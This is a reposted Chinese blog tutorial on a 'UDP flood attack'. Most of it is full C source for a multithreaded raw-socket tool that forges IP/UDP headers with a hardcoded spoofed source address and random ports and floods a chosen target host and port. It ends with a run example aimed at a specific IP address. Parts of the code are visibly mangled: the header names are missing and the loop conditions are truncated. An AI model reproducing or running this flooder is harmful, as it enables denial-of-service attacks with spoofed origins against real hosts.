Linux网络编程之UDP洪水攻击

转自http://blog.csdn.net/chenjin_zhong/article/details/7271979

1.概述

UDP攻击向目标主机的UDP端口发送大量的UDP报文,造成目标主机的端口堵塞,达到攻击的目的。建立多线程,利用原始套接字封装UDP与IP的首部,然后发送UDP报文,攻击目标主机.

2. UDP攻击实例

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/**
UDP洪水攻击:
不停的向目的主机发送UDP包,让目的主机接收端口拥塞,以达到攻击的目的
**/
#define MAXCHILD 2
#define K 1024
#define DATUML 1*K
static int PROTO_UDP=-1;//UDP协议类型
static unsigned long dest=0;//目的地址,32位二进制
static int dest_port=0;
static int rawsock=-1;//原始套接字
static int alive=0;
//整个IP报文包括3个部分,IP首部,UDP首部,UDP数据部分
struct dosseg_t {
 struct ip iph;//IP头部
 struct udphdr udph;//UDP头部
 unsigned char data[8192];//UDP数据部分

}dosseg;

//计算校验和
static unsigned short DoS_cksum(unsigned short *data,int length){
  register int left=length;
  register unsigned short*word=data;
  register int sum=0;
  unsigned short ret=0;
  //计算偶数字节
 while(left>1){
    sum+=*word++;
   left-=2;
}
if(left==1){
    *(unsigned char*)(&ret)=*(unsigned char*)word;
    sum+=ret;
 }
 sum=(sum>>16)+(sum&0xffff);
 sum+=(sum>>16);
 ret=~sum;
 return ret;


}
static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数
 int gap=end-begin+1;
 int ret=0;
 //系统时间初始化
 srand((unsigned)time(0));
 ret=random()%gap+begin;//介于begin与end之间的值
 return ret; 
}

static void DoS_udp(){
 struct in_addr src;//源地址
 struct in_addr dst;//目的地址
  int i;
int total_len=sizeof(struct ip)+sizeof(struct udphdr)+1024;//DATUML为UDP数据部分的长度
struct sockaddr_in to;

//首先填充IP首部
dosseg.iph.ip_v=4;//IP版本号
dosseg.iph.ip_hl=5;//IP首部长度,以4字节为单位
dosseg.iph.ip_tos=0;//服务类型
dosseg.iph.ip_len=htons(total_len);//IP报文的总长度
dosseg.iph.ip_id=htons(getpid());//IP报文标识,进程PID
dosseg.iph.ip_off=0;//段偏移
dosseg.iph.ip_ttl=myrandom(200,255);//生存值
dosseg.iph.ip_p=PROTO_UDP;//协议类型
dosseg.iph.ip_sum=0;//检验和
src.s_addr=inet_addr("222.27.253.108");//(unsigned long)myrandom(0,65535);
dosseg.iph.ip_src=src;
dst.s_addr=dest;
dosseg.iph.ip_dst=dst;
dosseg.iph.ip_sum=DoS_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));//检验和
//填充UDP报文的首部
#ifdef __FAVOR_BSD
dosseg.udph.uh_sport=htons((unsigned long)myrandom(0,65535));//udp源端口
dosseg.udph.uh_dport=htons(dest_port);//UDP目的端口
dosseg.udph.uh_ulen=htons(sizeof(dosseg.udph)+1024);//UDP数据长度包括UDP首部和UDP数据部分
dosseg.udph.uh_sum=0;
dosseg.udph.uh_sum=DoS_cksum((unsigned short*)&dosseg.udph,total_len);//UDP校验和
#else
dosseg.udph.source=htons((unsigned long)myrandom(0,65535));//udp源端口
dosseg.udph.dest=htons(dest_port);//UDP目的端口
dosseg.udph.len=htons(sizeof(dosseg.udph)+1024);//UDP数据长度包括UDP首部和UDP数据部分
dosseg.udph.check=0;
dosseg.udph.check=DoS_cksum((unsigned short*)&dosseg.udph,total_len);//UDP校验和
#endif
//填写目的地址部分
to.sin_family=AF_INET;
to.sin_addr.s_addr=dest;
to.sin_port=htons(dest_port);
//发送数据
int size=sendto(rawsock,&dosseg,total_len,0,(struct sockaddr*)&to,sizeof(struct sockaddr));
if(size<0){

   perror("sendto");
}
//printf("size=%d\n",size);
}
//线程函数
static void DoS_fun(unsigned long ip){
  while(alive){
  
    DoS_udp();
}


}

static void DoS_sig(){
  alive=0;
  printf("-------exit----\n");
  return;
}

int main(int argc,char*argv[]){
  struct hostent* host=NULL;//主机的相关信息
  struct protoent*protocol=NULL;//协议的相关信息
  char protoname[]="udp";
  struct in_addr dst;
  int i=0;
  int err=-1;
  alive=1;
pthread_t pthread[MAXCHILD];//线程数组
 signal(SIGINT,DoS_sig);//信号处理函数
 if(argc<3){
   return -1;
 }
//获取UDP的协议类型
 protocol=getprotobyname(protoname);
 if(protocol==NULL){
    perror("get protobyname");
    return -1;
  }
  PROTO_UDP=protocol->p_proto;
  dest=inet_addr(argv[1]);//得到目的地址
if(dest==INADDR_NONE){
   host=gethostbyname(argv[1]);
   if(host==NULL){
     perror("gethostbyname");
  }

 memcpy((char*)&dst,host->h_addr,host->h_length);
 dest=dst.s_addr;
}

 
dest_port=atoi(argv[2]);

//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_UDP);
printf("rawsock=%d\n",rawsock);
if(rawsock<0){
   perror("socket error");
}
//设置手工填写IP首部

setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多线程发送UDP包

for(i=0;i   err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待线程结束
for(i=0;i   pthread_join(pthread[i],NULL);

}

close(rawsock);

}

运行:

./udp-attack 222.27.253.1 8888

攻击222.27.253.1 8888端口.


总结:本文主要介绍了通过原始套接字发送大量的UDP报文,使端口阻塞,达到攻击的目的。


你可能感兴趣的:(网络与服务器)